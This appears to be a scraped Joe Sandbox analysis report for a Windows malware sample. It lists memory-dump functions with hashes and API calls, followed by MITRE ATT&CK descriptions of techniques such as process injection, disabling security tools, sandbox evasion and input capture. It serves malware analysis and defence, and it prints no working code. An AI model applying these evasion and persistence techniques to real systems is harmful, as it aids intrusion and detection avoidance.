Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID: p\i
API String ID: 0-1645768674
Opcode ID: 6d860312c071c2242f7c854a049ace68649fb68ce26d33780380bbe9db532022
Instruction ID: 894ffb49b3c4e4759a7368b6609f20f47bfb37d11b473e0cda15b307a5dbd9c3
Opcode Fuzzy Hash: 6d860312c071c2242f7c854a049ace68649fb68ce26d33780380bbe9db532022
Instruction Fuzzy Hash: B6D13B74B00215DFDB04EFA9C4849ADBBF6FF89354B1584A9E945AB361DB30EC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02958618, Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0295868C

Memory Dump Source

Source File: 0000001E.00000002.411523544.0000000002950000.00000040.00000001.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2950000_3BC6.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 147384bc83548c8cd99c5b602190e15767ceb17aa8cff70cfc722d5f0b498f10
Instruction ID: 44f2b8bad3f750901b90dbeab5864c0e80512528303c6d518f7dc4578d9bb0a2
Opcode Fuzzy Hash: 147384bc83548c8cd99c5b602190e15767ceb17aa8cff70cfc722d5f0b498f10
Instruction Fuzzy Hash: 3F11F7719002089FCB10DFAAC844AEFFBF9BF48214F14882ED869A7200C7749945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 029590B8, Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 02959123

Memory Dump Source

Source File: 0000001E.00000002.411523544.0000000002950000.00000040.00000001.sdmp, Offset: 02950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2950000_3BC6.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 196504d8821a55f332a48a515f111aa240641e05bce5cffd23b6f4c886f19e6b
Instruction ID: 92d29a6a0c5b638fc7ce74d506939dfd33ffe0ae7e74865cc408889ec058348a
Opcode Fuzzy Hash: 196504d8821a55f332a48a515f111aa240641e05bce5cffd23b6f4c886f19e6b
Instruction Fuzzy Hash: 7A1137759002188FDB10DFAAC844BEFBBF9AF48324F14881AD925A7200C7759544CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 04FBD448, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702c42521d598fd4cd6328d85bc9b76492391000c8299231b2d3c9d62a2d83cb
Instruction ID: bfa5eafae279b3ff98b1a6ea20725c764764b4c7e0a20fe20cbfc08a57a1140f
Opcode Fuzzy Hash: 702c42521d598fd4cd6328d85bc9b76492391000c8299231b2d3c9d62a2d83cb
Instruction Fuzzy Hash: 6F914E74B042148FE714EF68DC90AA9B3B2EBC9314F0485A9D809EB345DB35BE52CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04FB0590, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7151a7884409c210d64c33b9dcb3c24bfb9fcaa802369caf3f0514bdaad502e
Instruction ID: 0a1275cf36a0a906a99f4668b121ea03ad2dab38e61c4b874844e3f18023a613
Opcode Fuzzy Hash: d7151a7884409c210d64c33b9dcb3c24bfb9fcaa802369caf3f0514bdaad502e
Instruction Fuzzy Hash: A8716C71B0030A8FDB24DF6AC5446ABB7F6AF85344B148929D8868B694DB74F906CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 04FB0581, Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a54110d72cb5139fa7ad364f826f760def080090601013f71b8796c936696af6
Instruction ID: 725908c89b1d8ec345676e389234a8cfba32e4dbbc8d09c48bfc0a97142e91df
Opcode Fuzzy Hash: a54110d72cb5139fa7ad364f826f760def080090601013f71b8796c936696af6
Instruction Fuzzy Hash: 53519C70B00306CFDB20CF6AC584AABB7F6FF85354B10892AD8858B655DB74E906CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 04FBD468, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b38d99482d3431166aa4a368b5cbbf07748f3cd7d7184b6e2edd50205d7034
Instruction ID: 23287cd007545a48e5e7685e5a2c08f3d0b73d3715084d870e0b7b68af927a33
Opcode Fuzzy Hash: 68b38d99482d3431166aa4a368b5cbbf07748f3cd7d7184b6e2edd50205d7034
Instruction Fuzzy Hash: CD411D74F08214DBEB54DB25DD90AA9B3B2EF89204F148599D80AAB344DB35FE43DF81

Uniqueness

Uniqueness Score: -1.00%

Function 00D8D55C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.410736174.0000000000D8D000.00000040.00000001.sdmp, Offset: 00D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_d8d000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 985382059262b3e0e196b2b61f5b5e5fdea6d8360b42197cd0df3e3f0a63494a
Instruction ID: a9d260ac9b85247dcd416430f483cd0702734a488a7b8ce99ba0c2f8134da076
Opcode Fuzzy Hash: 985382059262b3e0e196b2b61f5b5e5fdea6d8360b42197cd0df3e3f0a63494a
Instruction Fuzzy Hash: C22128B1504248DFDF05EF10D8C0B26BB66FB98328F2485AAD8490B2C6C336D856CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 04FBACB8, Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b62870cb40395b49f7c465c587abc33fe963454e4bc7928fbd87b1d16bca9c
Instruction ID: 636ab9c2e0f71c950c13ff6e3bba7b231a0ff8b52d0cb218dc162b9c53bca9cc
Opcode Fuzzy Hash: 27b62870cb40395b49f7c465c587abc33fe963454e4bc7928fbd87b1d16bca9c
Instruction Fuzzy Hash: 94113835704200AFE7059E659C40BE67BE6EB86360F108869F449CB292D770EC03C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 04FBD58F, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc51e3e93d037c51a50865d4997ac0d87ed448b35eba766bbf6c7680c93ef337
Instruction ID: 55651cb77dc816634d1e580497e7ad9a484b5e2764e343cbb00f974ca5f66012
Opcode Fuzzy Hash: cc51e3e93d037c51a50865d4997ac0d87ed448b35eba766bbf6c7680c93ef337
Instruction Fuzzy Hash: 3331C374F052149BEB54EB21DD90AA9B373EFC9204F248599C849AB354DB32BE52DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00D8D557, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.410736174.0000000000D8D000.00000040.00000001.sdmp, Offset: 00D8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_d8d000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df3ea03c7ba71879686d1a2a2f57145f23f0a0a60a27b8d254d809b04763c4fa
Instruction ID: 3243488e46e8900772f6ad0192e242078d554b8064641b640517711905cc0dcc
Opcode Fuzzy Hash: df3ea03c7ba71879686d1a2a2f57145f23f0a0a60a27b8d254d809b04763c4fa
Instruction Fuzzy Hash: C711E976404288DFCF05DF10D9C4B16BF72FB94324F28C6A9D8080B696C336D856CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04FB6589, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e1203e1470bd5cb003d94636069353f9be7d67ef8c20767a2c28672a9f2ef36
Instruction ID: a3b39d756ade10ea26b796ecee9d9a4dfa0587e06b9eaa32e012fd07575fc7fe
Opcode Fuzzy Hash: 8e1203e1470bd5cb003d94636069353f9be7d67ef8c20767a2c28672a9f2ef36
Instruction Fuzzy Hash: 9B110431B0010A8FDF049FA2E8544EFBBF5FB98295B04403AE949D7204EA349D038BE1

Uniqueness

Uniqueness Score: -1.00%

Function 04FB6598, Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e2e25d984c8626757da319bbb9cab8341108e7e8812f93c56dab0650ee5502
Instruction ID: 7a04ec44691927b09cc27c97c8c20adc7434bfe3f7bfe02788f3ac882db988a1
Opcode Fuzzy Hash: 25e2e25d984c8626757da319bbb9cab8341108e7e8812f93c56dab0650ee5502
Instruction Fuzzy Hash: 8501A135B001199FCF04DFA6E9448AFBBF6EB88255B148129E545D7214DB30AD02CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 04FB3DC1, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2eb8914451f32ef36fbaf2c0fa55227540ad53936fc895d720213c13b7e01c6
Instruction ID: feb57cc4d3da7bf252ca826ee06105292730e4aa2c6a13574e60cbbe9939fb27
Opcode Fuzzy Hash: e2eb8914451f32ef36fbaf2c0fa55227540ad53936fc895d720213c13b7e01c6
Instruction Fuzzy Hash: EC01F535B487508FE725CE96D8806EAB7A1EB86215F18456FC88587341D731F44ECBC1

Uniqueness

Uniqueness Score: -1.00%

Function 04FB5D90, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e971be973ef1d52b2598b3d9919b35a36e4c09f860a54dbb9fa38b9178dc3a7b
Instruction ID: 3be2a305f04d4d88b96eb57767e409c99d260571e27280c9c561e62d44f90e8f
Opcode Fuzzy Hash: e971be973ef1d52b2598b3d9919b35a36e4c09f860a54dbb9fa38b9178dc3a7b
Instruction Fuzzy Hash: C8017131A00254AFDB15CE69C848BAABBA9FF49351F044569E85597340CB74AD11C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 04FBCC52, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4809d72ce76308b5310264c03a0f266ed764798f42c136045d32b85854d0af2e
Instruction ID: a4ffad688d190516890fcf278dc5d9b0520e82d8dfac50394634018b406cc0e1
Opcode Fuzzy Hash: 4809d72ce76308b5310264c03a0f266ed764798f42c136045d32b85854d0af2e
Instruction Fuzzy Hash: EAE02B12B0D2901FC706623A28748FE2BA286C7D51309007ED08AC7342EC186C0763F1

Uniqueness

Uniqueness Score: -1.00%

Function 04FBCC60, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.413213120.0000000004FB0000.00000040.00000001.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_4fb0000_3BC6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b49ecea11377ece0d9ef0f55678a1533d7275480f25a088ff0791942d59e9f46
Instruction ID: fc232abda826449a9212970b07295822c384c8456291bec5c86f11099c3e33fb
Opcode Fuzzy Hash: b49ecea11377ece0d9ef0f55678a1533d7275480f25a088ff0791942d59e9f46
Instruction Fuzzy Hash: 67D0C222700260674609327A69558BF319BC7CAD61314403EE14ED3340ED24AC0323F1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report OG9rNsihJ7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre